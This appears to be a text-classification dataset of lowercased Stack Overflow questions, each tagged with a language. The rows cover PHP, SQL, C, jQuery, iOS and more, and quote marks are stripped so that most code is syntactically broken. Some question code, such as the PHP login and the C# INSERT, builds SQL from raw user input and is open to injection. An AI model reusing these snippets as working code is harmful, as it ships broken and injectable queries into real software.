$shortname=strrchr($fullpath  / );     $x1=strrpos($fullpath  / );     $x2=strrpos($fullpath  . );     if ($x1!==false &amp;&amp; $x2!==false)         $shortname=substr($fullpath $x1+1 $x2-$x1-1);     else         $shortname=$fullpath;     $file=fopen($fullpath  r );     if (!$file)         return $shortname;      $intoken=false;     $intitle=false;     $title=  ;      while (($c1=fgetc($file)))     {         if ($intoken)         {             if ($c1!= &gt; )               {                 $token.=$c1;             }             else             {                 $intoken=false;                 if (strtolower($token)== title )                 {                     $intitle=true;                     $title=  ;                 }                 else if (strtolower($token)== /title )                 {                     break;                 }             }         }         else         {             if ($c1== &lt; )               {                 $intoken=true;                 $token=  ;             }             else if ($intitle)                 $title.=$c1;         }     }     fclose($file);     if ($title!=  )         return $title;     else         return $shortname; }  function traverse($path) {     global $docroot $since $filecount;      if ($path== / )         $path=  ;     $truepath=$docroot.$path;     $dir=@opendir($truepath);     if (!$dir)     {         echo     invalid directory   $path;         return;     }     while (($file1 = readdir($dir)) !== false)     {         if ($file1== .  || $file1== .. )             continue;         $relpath=$path. / .$file1;         $fullpath=$truepath. / .$file1;          if (disallowed($relpath)) continue;         if (is_dir($fullpath))         {             traverse($relpath);         }         else if (is_file($fullpath))         {             $mtime=filemtime($fullpath);             if ($mtime&lt;$since)                 continue;             $ptype=strrchr($file1  . );             if ($ptype===false)                 continue;             else if ($ptype== .htm  || $ptype== .php )             {                 $title=htmltitle($fullpath);             }             else if ($ptype== .pdf )             {                 $title=$file1;             }             else                 continue; // ignore other file types              $mtimestr=date( d m y  $mtime);             echo  &lt;li&gt;&lt;a href=\ $relpath\ &gt;$title&lt;/a&gt; ($mtimestr) ;             ++$filecount;         }     }     closedir($dir); }  function newstuff() {     global $treetop $filecount;      echo  &lt;ul&gt; ;     $filecount=0;     traverse($treetop);     echo  &lt;/ul&gt; ; }  /*  main  function get everything started. then the following useful things are available in the template:  newstuff() $filecount $days $last $since  */       global $docroot $treetop $days $sincemethod $debug $since $last;      $docroot=$_server[ document_root ];      // get parms      if (array_key_exists( tree  $_get))         $treetop=$_get[ tree ];     else         $treetop= / ;     if (array_key_exists( since  $_get))         $sincemethod=$_get[ since ];     else         $sincemethod= d ;     if (array_key_exists( days  $_get))         $days=$_get[ days ];     else         $days= 30 ;     if (array_key_exists( debug  $_get))         $debug=$_get[ debug ];     else         $debug=  ;      // get cookies     if (array_key_exists( last  $_cookie))     {         $visitlast=mystrtotime($_cookie[ last ]);         if ($visitlast&gt;0)             $last=date( d m y  $visitlast); // for display         else             $last= unknown ;     }     else     {         $visitlast=0;         $last= unknown ;     }      if (array_key_exists( penult  $_cookie))     {         $visitpenult=mystrtotime($_cookie[ penult ]);     }     else     {         $visitpenult=0;     }      // set cookies     $today=time();     if ($visitlast&gt;$today-2*24*60*60)     {         $newcookies=false;         $visitlast=$visitpenult;     }     else         $newcookies=true;      if ($newcookies)     {         // last visit is now today         setcookie( last  date( y-m-d  $today) $today+180*24*60*60);         // penultimate visit is now previous last         if ($visitlast&gt;0)             setcookie( penult  date( y-m-d  $visitlast) $today+2*24*60*60);     }      // figure out  since  date     if ($sincemethod{0}== v  &amp;&amp; $visitlast&gt;0)         $since=$visitlast;     else     {         $idays=(int)$days;         if ($idays==0)             $idays=30;         $since=time()-$idays*24*60*60;     }      readrobotsign();   &gt; &lt;html&gt;&lt;head&gt;&lt;title&gt;what s new &lt;/title&gt; &lt;body&gt;  &lt;h1&gt;what s new &lt;/h1&gt;  &lt;hr&gt;  &lt;form action= whatsnew.php  method=get&gt; list files changed:&lt;p&gt;   &lt;input type=radio name=since value=days checked&gt;   within &lt;input name=days size=4 maxlength=4 value=&lt; =$days &gt;&gt; days.&lt;p&gt;   &lt;input type=radio name=since value=visit&gt;   since my last visit. (&lt; =$last &gt;)&lt;p&gt; &lt;input type=submit value= what s new  &gt; &lt;/form&gt;&lt;p&gt; &lt; =newstuff() &gt; &lt; =$filecount &gt; new or updated files.&lt;p&gt; &lt;p&gt;  &lt;/html&gt; </code></pre>   link to script is <a href= http://www.nctfleetlist.co.uk/temptestcook/whatsnew.php  rel= nofollow >http://www.nctfleetlist.co.uk/temptestcook/whatsnew.php</a> thanks in advance,php
substring in inline html  i have a html page that uses inline styling and which pulls some variables from different places. is it possible to write a script within the page to obtain a substring from one of the variable being pulled,html
sql - select data based on one specific input value or all if no input value  i am trying to retrieve data using an input variable that is a customer code. if a user enters the customer code  the query retrieves that customers data  but if the user leaves the customer code blank  i want to retrieve all customers data.  below is the code where i can retrieve data based on the customer code input in  3_customer  but i can t figure out how to do this if-then-else type of query i need to get data for all customers if the input variable is left blank.    thanks   don   <pre><code>select      open_item.order_id order_id      convert(varchar(10) orders.ordered_date 101) order_date      orders.revenue_code_id      orders.operations_user      open_item.customer_id cust_no      customer.name cust_name      convert(varchar(10) open_item.gl_date 101) adjust_date      open_item.amount amount      open_item.record_type type      open_item.ar_reason_code_id      ar_reason_code.descr reason from      open_item left outer join      customer on customer.id = open_item.customer_id  left outer join      ar_reason_code on open_item.ar_reason_code_id = ar_reason_code.id  left outer join     orders on orders.id = open_item.order_id  where      open_item.gl_date &gt;= $1_sdate$ and      open_item.gl_date &lt;= $2_edate$ and     open_item.source =  c  and      open_item.record_type =  c  and     open_item.customer_id = $3_customer$ </code></pre>,sql
how to get sub string from string in php  i have a string like    <pre><code>$totalvalues = 4565:4 4566:5 4567:6 ; </code></pre>   now i want only values after <code> : </code> with coma separated  i.e i want string like <code>$subvalues =  4 5 6 </code>    thanks,php
pointer assignment problem  when i run the above program in gcc complier(www.codepad.org) i get the output as  disallowed system call: sys_socketcall could anyone please clear why this error/output comes    <pre><code>int main() {     int i=8;     int *p=&amp;i;     printf( \n%d  *p);     *++p=2;     printf( \n%d  i);     printf( \n%d  *p);     printf( \n%d  *(&amp;i+1));     return 0; } </code></pre>   what i have observed is i becomes inaccessible after i execute *++p=2;why,c
how to do a logic operation in angular template  all:    i wonder how can i set a or operator on a html string in angualar template  something like:   <pre><code>&lt;div&gt;{{value || &lt;h6&gt;no header for now.&lt;/h6&gt;}}&lt;/div&gt; </code></pre>   the logic is if value is a string but not undefined  we show the value text  otherwise we show a error  no header for now  wrapped up by <code>&lt;h6&gt;</code>.    i do not know why this expression can not be correctly interpreted     thanks,angularjs
when creating new element in jquery  is there a method that is faster   is there a way that has better performance than the other when appending a new element to the dom with jquery     this is the way i usually do it:   <pre><code>$( &lt;div class= foo &gt;hello world!&lt;/div&gt; ).appendto($( #bar )); </code></pre>   but i ve seen this quite a few times around :   <pre><code>$( &lt;div/&gt; ).attr( class    foo ).text( hello world! ).appendto($( #bar )); </code></pre>   i think that the first one is easier to read. second one takes advantage of chaining but it in the end  the result is the same. but is it faster to do it one way of the other,jquery
what exactly does value initialization of a pointer do in c++   i have seen the related answers <a href= https://stackoverflow.com/a/3197557/391161 >here</a> and <a href= https://stackoverflow.com/a/1613383/391161 >here</a> on this  but i wanted confirmation  because none of them make this explicit.     suppose i have a class <code>foo</code> and a member <code>bar</code> of type <code>int*</code>.    <strong>are the following two initializations entirely equivalent </strong>   <pre><code>foo::foo() : bar(null) // null pointer constant by macro { }  foo::foo() : bar() // value initialization { } </code></pre>,c++
how to intalize the structure with same value(not 0) in c  i tried memset to assign all the structure members to 0 as given below  but it didn t work.    <pre><code>struct sample {     int a;     int b;     int c;     int d;     int e;      int f; };  int main(void) {     struct sample s1;      memset(&amp;s1  1  sizeof(s1));     printf( %d  s1.e);      return 0;  } </code></pre>,c
excluding an activity from supportsrtl=false  i had some problems with phones with rtl languages so i changed my manifest as:   <pre><code>&lt;application     android:allowbackup= true      android:icon= @mipmap/ic_launcher      android:label= @string/app_name      android:largeheap= true      android:resizeableactivity= false      android:roundicon= @mipmap/ic_launcher      android:supportsrtl= false                &lt;== this was added     android:theme= @style/apptheme.notitlebar &gt; </code></pre>   and in my activity  i had some radio buttons which texts are at the left of radio  so i had the previous code which is not working anymore  the problem is that radio is on the ledt side now and the text is on right side.   <pre><code> &lt;radiogroup         android:layout_width= match_parent          android:layout_height= match_parent          android:layout_gravity= right          android:gravity= right          android:layoutdirection= rtl          android:textdirection= rtl &gt;      . . . . </code></pre>   is there any way to exclude this activity or another way to handle this     tnx,android
css broken after concating together in ie 9  i am using yui-compressor.jar to contact all my css files together. this works fine on all browsers except ie 9    this is how i am contacting:   <pre><code>exec ( cat  .implode($css_files     ).  | java -jar yuicompressor.jar --type css -o ../css/all.css ); </code></pre>   what would i have to look for to figure out why this is happening. there must be an error in a css file somewhere  but i don t know what to look for.    this is not happen in ie 10  11 or any other browser.,css
login on empty fields is successfull  im slowly getting insane. this time i want that it isnt possible to klick the login in button and get ridirected without typed in a username or a password.    i tryed this:    <a href= https://stackoverflow.com/questions/12828461/form-submits-even-when-all-fields-arent-filled-out >redirect after login example 1</a>    <a href= http://php.net/manual/en/language.operators.logical.php  rel= nofollow noreferrer >ridrect after login example 2</a>    until i ended up with my written code:   <pre><code>&lt; php  session_start(); require( ../includes/connect_to_db.php );   if (isset($_post[ username ]) and isset($_post[ password ])){  $username = $_post[ username ]; $password = $_post[ password ];  $query =  select * from `user` where username= $username  and password= $password  ;  $result = mysqli_query($connection  $query) or die(mysqli_error($connection)); $count = mysqli_num_rows($result);  if (empty($_post[ username ])||    empty($_post[ password ])){     $fmsg =  invalid login credentials. ;     }     if(mysqli_num_rows($result)&gt;0){  $_session[ username ] = $username; header( location:loginpage.php );  }else{ $fmsg =  invalid login credentials. ; } } if (isset($_session[ username ])){  $username = $_session[ username ]; }   &gt; </code></pre>   when i type anything in the login form its says : invalid login credentials  but when i let them empty and just klick on  login  he redirect to the shown page. i lose my mind i cant find the damn mistake i made.,php
chrome 8 - floating table - takes 100% width available  found in version 8  working fine in 7 &amp; other browsers (even ie)     i have a table with a declared width (tried with a declaration in css/inline/attribute) and a float:right. it seems that in the page this table width takes up the entire available space (looking up with the developer instrument confirms that the table takes 100% width while the tbody takes only the width declared before)    other floating elements near the table are cleared  over or under it.    removing the float declaration the table width returns as declared     any idea,css
performselectorinbackground causes memory leaks on iphone  why does methods that run in the background using performselectorinbackground create lot of memory leaks     thanks.,iphone
angularjs explicit annotation and cannot be invoked in strict mode  i am using ng-strict-di to uncover dependency injection problems. i am getting a kinda weird error in angular 1.6 when i am trying to intercept the $httpd. my code is this:   <pre><code>app.config([ $httpprovider   function($httpprovider) {     $httpprovider.defaults.usexdomain = true;     $httpprovider.defaults.withcredentials = true;      var access_token =  abc123 ;      $httpprovider.interceptors.push(function($q) {         return {              request  : function(config) {                  if(config.url.indexof( htm   config.url.length - 3) === -1 &amp;&amp; config.url.indexof( html   config.url.length - 4) === -1) {                     config.url = config.url +   access_token=  + encodeuricomponent(access_token);                 }                  return config;             }         };     }); }]); </code></pre>   the error that is happening is this:   <pre><code>uncaught error: [$injector:strictdi] function($q) is not using explicit annotation and cannot be invoked in strict mode http://errors.angularjs.org/1.6.1/$injector/strictdi p0=function(%24q)     at angular-1.4.3.js:68     at function.annotate [as $$annotate] (angular-1.4.3.js:4072)     at injectionargs (angular-1.4.3.js:4799)     at object.invoke (angular-1.4.3.js:4834)     at angular-1.4.3.js:11241     at foreach (angular-1.4.3.js:357)     at $httpprovider.$get (angular-1.4.3.js:11239)     at object.invoke (angular-1.4.3.js:4842)     at angular-1.4.3.js:4636     at getservice (angular-1.4.3.js:4783) </code></pre>   from my understanding  $q should not have to be defined because the function is defined. why is the $q causing an error and how can a fix this,angularjs
calling the superclass  constuctor twice in the subclass  constructor  i have a user defined class  say a. i have another user defined class b which publicly extends a.    when i define the constructor of b  i have to call the constructor of a in the member initializer list of b s constructor  or else the compiler will call the default constructor.   <pre><code>class a {     int a; public:     a(int x = 0) {         a = x;     } };  class b : public a {     int b; public:     b(int x = 0) : a(2*x) {         b = x;     } }; </code></pre>   now  i understand the logic behind all this. however  what i want to know is what happens when i do this instead:   <pre><code>class a {     int a; public:     a(int x = 0) {         a = x;     } };  class b : public a {     int b; public:     b(int x = 0) {         a(2*x);         b = x;     } }; </code></pre>   i mean  we all know that the compiler will call the default constructor of a before it enters the body of the b s constructor. now  the first line of b s constructor body is to call another constructor of a (which takes arguments). so  what does this result in  two different  constructors of the superclass are getting called here whenever an object of the subclass is being created. please explain what happens...whether two objects will be created or what.,c++
process cannot access the file because it is being accessed by another process while writing to a log file  though this is a very known issue to you all may be  i am getting this exception after all implementing locks and the other requried. but still i get the exception sometimes  but not able to figure out what s happening.    what i am doing is  in my application i m writing some log messages to a text file this way.    writetofile(datetime.now +  method1(): entered   log_file_name);    where the definition of writetofile goes this way:   <pre><code>public void writetofile(string message string filename) {     try     {         lock (filelock)         {             using (filestream fs = new filestream(filename  filemode.append  fileaccess.write  fileshare.readwrite))             {                  // create the writer for data.                 using (binarywriter w = new binarywriter(fs))                 {                     // write data to test.data.                     w.write(system.environment.newline);                     w.write(message);                     w.write(system.environment.newline);                 }             }         }                   }     catch (exception ex)     {         throw ex;     }     finally     {      } } </code></pre>  <hr>   whenever this exception comes  it throws the exception to the caller  in which i have again written to the file.like this:   <pre><code>public void method1() {     try     {         writetofile(datetime.now +  method1(): entered   log_file_name);     }     catch(exception ex)     {         writetofile(datetime.now +  exception in method1(): +ex.message  log_file_name);     } } </code></pre>   but now in method1() this exception caught was able to written to the file.     so  i seek anyone s help here. is any other better way of doing logging here      thanks &amp; regads    padma,.net
hide/show element on mouseover/out using jquery  on a page there are multiple elements like this   <pre><code>&lt;h1 class= bodytext hide &gt;1&lt;/h1&gt; &lt;h1 class= bodytext hide &gt;2&lt;/h1&gt; &lt;h1 class= bodytext hide &gt;3&lt;/h1&gt; </code></pre>   and   <pre><code>.hide{     display:none; }  .bodytext {  } </code></pre>   now when mouse enteres the bodytext element the text should fade in and out when mouse leaves the element. what i tried:   <pre><code>$( .bodytext ).on( mouseover   function(event){     $(this).fadein(); });  $( .bodytext ).on( mouseout   function(event){     $(this).fadeout(); }); </code></pre>   this does absolutely nothing. any ideas how to do this      i want to achieve this kind of effect: <a href= http://www.google.com/intl/de/about/datacenters/gallery/index.html#/  rel= nofollow >http://www.google.com/intl/de/about/datacenters/gallery/index.html#/</a>,jquery
is it possible to select a column followed by a wildcard (to retrieve all columns) in sql   this might be a weird question  but i ll ask it anyway. when i m working on queries  i m usually interested in only a few particular columns at first and when i m happy with the result  i ll add other columns to the query.     in other words: first i make it work  then i ll add the details. but i usually end up writing another query (that retrieves all table data) just above my  work-in-progress-query  in order to look at column names and inspect the data at a glance. it would be nice if that extra  retrieve all query  wasn t necessary and if i could just use a wildcard directly.    to state it simple: i d like to do:   <pre><code>select column  * from mytable; </code></pre>   so let s say i ve got a table person:   <pre><code> id     name     description    number     categoryid    modified      created ---------------------------------------------------------------------------------  1      sven     ugly man       42         67            2014-03-03    2014-03-03  2      anna     pretty woman   25         33            2014-03-03    2014-03-03 </code></pre>   then i would like to do:   <pre><code>select number  * from person </code></pre>   which should be leading to:   <pre><code> number  id     name     description    number     categoryid    modified      created --------------------------------------------------------------------------------------  67     1      sven     ugly man       42         67            2014-03-03    2014-03-03  33     2      anna     pretty woman   25         33            2014-03-03    2014-03-03 </code></pre>   is such a thing possible,sql
angularjs service access to service context from within then() context  i m probably making a beginners mistake. i m trying to figure out how to access a function or variable in the <code>this</code> context of a service  while within the <code>then()</code> portion of a promise.    here s some example code:   <pre><code>ndtapp.service( userservice   [ $http   function($http){      this.savelogininfo = function(data){         //do some stuff here.     }      this.login = function(){         //login         $http.get( http://example.com/userlogin ).then(             function(data){                 this.savelogininfo(data);                 //this won t work because  this  from here is  window  rather than the service.             }              function(data){                 //error handling             });     }  }]); </code></pre>   how do i reach the <code>savelogininfo</code> function,angularjs
is it possible to and 2 not in s for mysql   in mysql  is it possible to and 2 not in s instead of doing a nested one    <pre><code>select..from..where..x not in (...) and y not in (...) </code></pre>,mysql
why <%= %> works inside http but not inside https  <code>&lt;%=  test1  %&gt;</code> is showing test1 in http but if i use https then i see xxxx.    where is the difference,asp.net
how do i return a string from a function in c   i m working on the following homework problem:    <blockquote>    given the first name and last name as parameters  write the code of   the function <code>createfblink()</code>.  the functions returns a facebook link   which serves as an alternate email of the facebook user.  the variable   holding the facebook link should contain the minimum number of bytes   required to store the string representing the facebook link.  if there   is no first name or last name  the function returns <code>null</code>.        for example  if <code>firstname = tzuyu</code> and <code>lastname = chou</code>  the   facebook link is <code>chou.tzuyu@facebook.com</code>.  </blockquote>   (see the original problem statement <a href= https://z-n.ak.fbcdn.net/sphotos-f.ak/hphotos-ak-xpf1/v/t34.0-12/12270551_10205261677157241_346066442_n.jpg oh=227eb6e1bec61edc89519491e8154fd9&amp;oe=564ea50b&amp;__gda__=1448051583_774e2f9c9eef0a0276624cca5103cdd5  rel= nofollow >here</a>.)    i ve been trying to return a string from <code>createfblink</code> into <code>main</code>. i ve tried multiple methods such as turning char into static but i keep getting errors that i don t understand because i don t have a lot of experience with c.    i ve had the best luck with using <code>malloc</code>  but i ve come across a problem wherein if ever there are parameters to the function i m sending from main  i end up with a crash after the input.  here s my code so far:   <pre><code>    #include &lt;string.h&gt; #include &lt;conio.h.&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  char *createfblink(char *firstname   char *lastname) ;  int main(void) {     char firstname[24]   lastname[24]  fblink[24] ;      printf( enter first name:  );     scanf( %s   firstname);     firstname[strlen(firstname)] =  \0 ;     printf( \n enter last name:  );     scanf( %s   lastname);     lastname[strlen(lastname)] =  \0 ;       *fblink = createfblink(firstname  lastname);     if(*firstname ==  \0 ){         printf( no facebook link generated );     }else{         printf( %s   *fblink);     }     getch();     return 0; }  char * createfblink(char *firstname   char *lastname) {     int check1 = strlen(firstname)   check2 = strlen(lastname)  num = check1+check2;     char link = (char*) malloc(sizeof(char) * num);     if(check1 == 0 || check2 == 0){         *firstname =  \0  ;     }else{          strcat(*lastname   . );         strcat(*lastname  firstname);         strcat(*lastname   @facebook.com );         strcpy(link   *lastname);         return link;     } } </code></pre>,c
angular sanitize  add exceptions for specific directives  is it possible to add exceptions for angular sanitize to allow custom and core directives     such as:   <pre><code>ng-click my-custom-directive </code></pre>,angularjs
how to handle additional param in controller  i m learning rails and i have now a good knowledge about controllers. by the way i always have some issues and i don t know whats the best way to solve them.    one of these is the search: i have a search in my website and i must reorder results for relevance and date.    my search controller   <pre><code>def show     @query = params[:query]     @contents  = content.published.search_by_text(@query).page(params[:page]).per(12)   end </code></pre>   this is the default search. i have to implement also the  data order  search and i think to do something like this:   <pre><code> def show     @query = params[:query]     @contents  = content.published.search_by_text(@query).page(params[:page]).per(12)     if params[:order]        @contents = content.published.search_by_text(@query).reorder( created_at desc ).page(params[:page]).per(12)     end   end </code></pre>   is there a better way to obtain my result,ruby-on-rails
presentmodalviewcontroller takes a long time and screen goes white  i am trying to add uiactivitystatus and show a  please wait image  while presentmodalviewcontroller loads which takes 16  - 20 seconds...    the image shows up but then screen turns white right away and sits there for the 16-20 seconds. i am guessing the call to presentmodalviewcontroller returns right away.    is there anyway around showing status when a call to presentmodalviewcontroller takes a long time.    ps: it takes a long time before i am loading some 100 pictures in that view    thanks!!,iphone
are there any server options for asp.net other than iis and apache   curious as to if asp.net is compatible with any other web servers out there (ie. node.js).,asp.net
absolute addressing - relocations  so i upgrade to snow leopard and xcode 3.2.3 / sdk4    now my project won t compile:    ld: absolute addressing (perhaps -mdynamic-no-pic) used in -[myappdelegate applicationdidfinishlaunching:] from /users/ade/documents/xcodeprojects/myapp/build/myapp.build/debug-iphoneos/myapp.build/objects-normal/armv6/myappdelegate.o not allowed in slidable image. use  -read_only_relocs suppress  to enable text relocs    command /developer/platforms/iphoneos.platform/developer/usr/bin/gcc-4.2 failed with exit code 1    any help or advice would be greatly appreciated...    ade.,iphone
scanf unknown number of integers  i am trying to solve an exercise of a course i m taking and we re just in the beginning so using <code>realloc</code>  <code>malloc</code>  and other dynamic allocation function is not used here.    first input will be euro - dollar rate  for ex. <code>1.37</code>. the rest of the input will be in dollars that will need to be converted to euros and in the end a total row.    for example for the input <code>1.37</code>  <code>2</code>  <code>3</code>  <code>4</code> the result will be:   <pre><code>$   euro 2   2.74 3   4.11 4   5.48 9   12.33  </code></pre>   without using dynamic allocation how can i accept an unknown number of integers,c
how to change the view of uitableviewcell on selection  i want to change the color of label text on selection and get back the previus color on deselection.  if you have solution please tell me. looking for good response as earlier :-),iphone
will application targeting minor .net version work correctly on computers with major .net version only  will wpf application targeting .net 4.6.1 work correctly on computers with .net 4.6 installed if app is not using any 4.6.1 specific features     edit according to rick strahl s blog <a href= https://weblog.west-wind.com/posts/2017/jan/09/faking-out-the-net-runtime-version  rel= nofollow noreferrer >here</a> you can specify the lower .net version to be used and as long as you re not using any higher version specific features in your code it will work fine. i ll test and post that as accepted answer if it works as expected.   <pre><code>&lt;configuration&gt;     &lt;startup&gt;          &lt;supportedruntime version= v4.0  sku= .netframework version=v4.6 /&gt;     &lt;/startup&gt; &lt;/configuration&gt; </code></pre>   as for the question why target a version if not using any version specific features  there are many scenarios where this could happen. in my case i started project as a newly hired contractor and had no idea and was not informed what version of .net will be available on client machines and what version i need to target and no clarity of what the future of the project holds. the dev machine assigned to me had 4.6.1 multi-targeting pack and that s what visual studio defaulted to when i created the solution... so while your question may appear to be very clever i don t think it really is...,.net
how to pass the result of select statement to stored proc  what s the proper way to write it  thx   <pre><code>  select        [jobid] as jobid     from [v_jobs]   where jobreference =177127  exec    [dbo].[s_somestoredproc] @jobid = jobid </code></pre>,sql
how can i get rid of this c# error  this is my error.    <blockquote>    there are more columns in the insert statement than values specified in the values clause. the number of values in the values clause must match the number of columns specified in the insert statement.  </blockquote>   this is my code   <pre><code>string conn = webconfigurationmanager.connectionstrings[ dbconn ].connectionstring;             sqlconnection myconnection = new sqlconnection(conn);             myconnection.open();             sqlcommand cmd = new sqlcommand( insert into register(email username password confirm_password) values(   + txtemail.text +       + txtusername.text +      + password.text +      + confirmpassword.text +   )   myconnection);             cmd.executenonquery();             myconnection.close(); </code></pre>   can somebody please help me     thanks in advance!!!,c#
sql query to change datetime to time  i need to obtain only the time part of a datetime variable without the making it a text file so no varchar    is there a way to get only 9:11:02  from  1/2/2013  9:11:02  without varchar conversion,sql
showing progress view in corresponding cell when click a download button in a tableview cell  i am new to iphone.i am struck in my project at some task (i.e) i have a table view with 66 rows.in that i am placed different book names for each cell and place a download button to each book.my requirement is when we click on download button it shows the progress view in that particular cell only but i am getting in that particular cell but when i am drag the tableview it will shows the progress views in some that cells also.it is because of dequeue reusability concept but i dont know how to avoid this problem.i want even after drag the tableview it shows the progress view on the cell which i am click the download button (cell)    here is my code below..   <pre><code>- (nsinteger)numberofsectionsintableview:(uitableview *)tableview {      // return the number of sections.     return 1; } - (nsinteger)tableview:(uitableview *)tableview numberofrowsinsection:(nsinteger)section {       return 66;  }  - (uitableviewcell *)tableview:(uitableview *)_tableview cellforrowatindexpath:(nsindexpath *)indexpath {     static nsstring *cellidentifier = @ cell ;     uibutton *downloadbutton = nil;     customcell *cell = [_tableview dequeuereusablecellwithidentifier:cellidentifier];      if (cell == nil)      {   //here custom cell is another class in that we have the title label declaration         cell = [[customcell alloc] initwithstyle:uitableviewcellstylesubtitle reuseidentifier:cellidentifier];          downloadbutton = [uibutton buttonwithtype:uibuttontypecustom];         downloadbutton.frame = cgrectmake(220 10 50 30);         [downloadbutton setimage:[uiimage imagenamed:@ download.png ] forstate:uicontrolstatenormal];         [downloadbutton addtarget:self action:@selector(downloadbuttonclicked:) forcontrolevents:uicontroleventtouchupinside];         downloadbutton.backgroundcolor = [uicolor clearcolor];         downloadbutton.userinteractionenabled = yes;         downloadbutton.highlighted = yes;         downloadbutton.tag = indexpath.row;         nslog(@ tag is %d  indexpath.row);         [cell.contentview addsubview:downloadbutton]; }          nsstring *titlelabel = [[appdelegate getbooknames]objectatindex:indexpath.row];     cell.titlelabel.text = titlelabel;       return cell; }  -(void)downloadbuttonclicked:(id)sender{   int index = [sender tag];     nslog(@ index of the cell is %d  index);     uibutton *button = (uibutton*)sender;      uitableviewcell *cell = (uitableviewcell *)[[button superview] superview];      uilabel *titlelabel = (uilabel *)[cell viewwithtag:100];      nslog(@ label text =%@  titlelabel.text);     selectedbooktitle = titlelabel.text;     nsstring* documentspath = [nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes) objectatindex:0];     nsmutablearray *alldownloadlinks;     bibleplayerviewcontroller = [[bibleplayerviewcontroller alloc]init];     alldownloadlinks = [bibleplayerviewcontroller alldownloadlinks];     nslog(@ all download links are %@  alldownloadlinks);     bibleplayerviewcontroller.indexofselectedbooktitle = [[appdelegate getbooknames]indexofobject:selectedbooktitle];       download* download = [download downloadwithtitle:selectedbooktitle url:[nsurl urlwithstring:[nsstring stringwithformat:@ http://www.audiotreasure.com/%@.zip  [alldownloadlinks objectatindex:(bibleplayerviewcontroller.indexofselectedbooktitle)]]]pathtosave:documentspath];     [[downloadmanager shareddownloadmanager] queuedownload: download];     uitableviewcell *tableviewcell = [tableview cellforrowatindexpath:indexpath];      progressview.frame = cgrectmake(10  40  300  20);     [tableviewcell.contentview addsubview:progressview];  } </code></pre>   <a href= http://i.stack.imgur.com/f9rdi.png  rel= nofollow >screen shot</a> of my project is [output of my above code which is in simulator],iphone
grabbing previous and next element in an array  i am working on an image gallery. now i have some images like these   <pre><code>&lt;ul id= moniquegallist &gt;     &lt;li&gt;&lt;img class= moniquethumbs  src= img/1thumb.jpg  data-bigimgpath= img/1full.jpg  alt=  &gt;&lt;/li&gt;     &lt;li&gt;&lt;img class= moniquethumbs  src= img/2thumb.jpg  data-bigimgpath= img/2full.jpg  alt=  &gt;&lt;/li&gt;     &lt;li&gt;&lt;img class= moniquethumbs  src= img/3thumb.jpg  data-bigimgpath= img/3full.jpg  alt=  &gt;&lt;/li&gt;     &lt;li&gt;&lt;img class= moniquethumbs  src= img/4thumb.jpg  data-bigimgpath= img/4full.jpg  alt=  &gt;&lt;/li&gt;     &lt;li&gt;&lt;img class= moniquethumbs  src= img/5thumb.jpg  data-bigimgpath= img/5full.jpg  alt=  &gt;&lt;/li&gt; &lt;/ul&gt; </code></pre>   and using the click function i capture the current image clicked   <pre><code>for (var i = 0; i &lt; moniquethumbs.length; i++) {     moniquethumbs[i].addeventlistener( click   grabbigimgpath); }  function grabbigimgpath() {     var currentthumbclicked = this; } </code></pre>   how can i save the previous element and the next element in the array of moniquethumbs (ie. varprev and varnext values),javascript
determine and adjusting camera zooming level in ios  i want to determine the camera zooming level in ios. how i adjust zoom level according to my vision like 20/20   20/50 etc.,ios
c# how can i make an extension accept ienumerable instead of array for params  having this extension    <pre><code>    public static bool in&lt;t&gt;(this t t  params t[] values)     {         return values.contains(t);     } </code></pre>   wanted it to accept ienumerable and casting to array if needed inside the extension  but i don t know how to use the params keyword for that.    tryed :   <pre><code>    public static bool in&lt;t&gt;(this t t  params ienumerable&lt;t&gt; values)     {         return values.contains(t);     } </code></pre>   but this generates a compile-time error : <strong>the parameter array must be a single dimensional array</strong>    is there any way to make the extension method support ienumerable params   if not  why not,c#
how to get property that is a class itself value within a class methode  i want to create some classes  that have to look a certain way ( the way shown in my example). some of the class properties are classes (or structs) themselves. i want to write a method within my classes that get the property-values of all the properties  that are structs and write them to a string.    so this is what my classes look like:   <pre><code>public class car {    public string brand { get; set; }    public tire _id { get; set; }    public string getattributes()    {       type type = this.gettype();       propertyinfo[] properties = type.getproperties();       foreach(propertyinfo propertyinfo in properties)       if (propertyinfo.propertytype.tostring().contains( _ ))       {          //i want to write the actual value of the property here!          string nested_property_value = ...          return nested_property_value;       }    } } </code></pre>   this is what my structs look like:   <pre><code> public struct tire  {     public int id { get; set; }  } </code></pre>   this would be the main program:   <pre><code>tire mynewtire = new tire() {    id = 5 };  car mynewcar = new car() {    _id = mynewtire }; </code></pre>   anyone has an idea how to create the getattributes-methode  i ve been trying to figure this out for ages now  but don t get there...,c#
"designing uneven tables in html  i would like to create a table that has 3 columns. in the first column will be 1 row    <pre><code>country     group     description  name        sub1      details             sub2      details             sub3      details </code></pre>   now  i ve come up with one solution that is almost there:     <div class= snippet  data-lang= js  data-hide= false  data-console= false  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;table&gt;
   &lt;thead&gt;
     &lt;tr&gt;
       &lt;th&gt;country&lt;/th&gt;
       &lt;th&gt;group&lt;/th&gt;
       &lt;th&gt;description&lt;/th&gt;
     &lt;/tr&gt;
   &lt;/thead&gt;
   &lt;tbody&gt;
     &lt;tr&gt;
       &lt;td&gt;name&lt;/td&gt;
       &lt;td&gt;sub1&lt;/td&gt;
       &lt;td&gt;details&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;sub2&lt;/td&gt;
       &lt;td&gt;details&lt;/td&gt;
     &lt;/tr&gt;
     &lt;tr&gt;
       &lt;td&gt;&lt;/td&gt;
       &lt;td&gt;sub3&lt;/td&gt;
       &lt;td&gt;details&lt;/td&gt;
     &lt;/tr&gt;
   &lt;/tbody&gt;
 &lt;/table&gt;</code></pre>
 </div>
 </div>
     the problem with this approach is that now the row doesn t encapsulate the data anymore. it s split and i cannot easily search or group by knowing the row anymore.    i ve tried to achieve a similar thing but i ve yet to achieve it. if i use rowspan on the first column  i need to create other <code>&lt;tr&gt;</code> to be able to see the effect.",html
jquery element not performing correctly  i ve been developing a new website for my freelancing and have decided to try using appengine for the first time.    i followed this tutorial <a href= http://www.gayadesign.com/diy/text-with-moving-backgrounds-with-jquery/  rel= nofollow >http://www.gayadesign.com/diy/text-with-moving-backgrounds-with-jquery/</a> but couldn t seem to get it to move on chidsterdesign.com,jquery
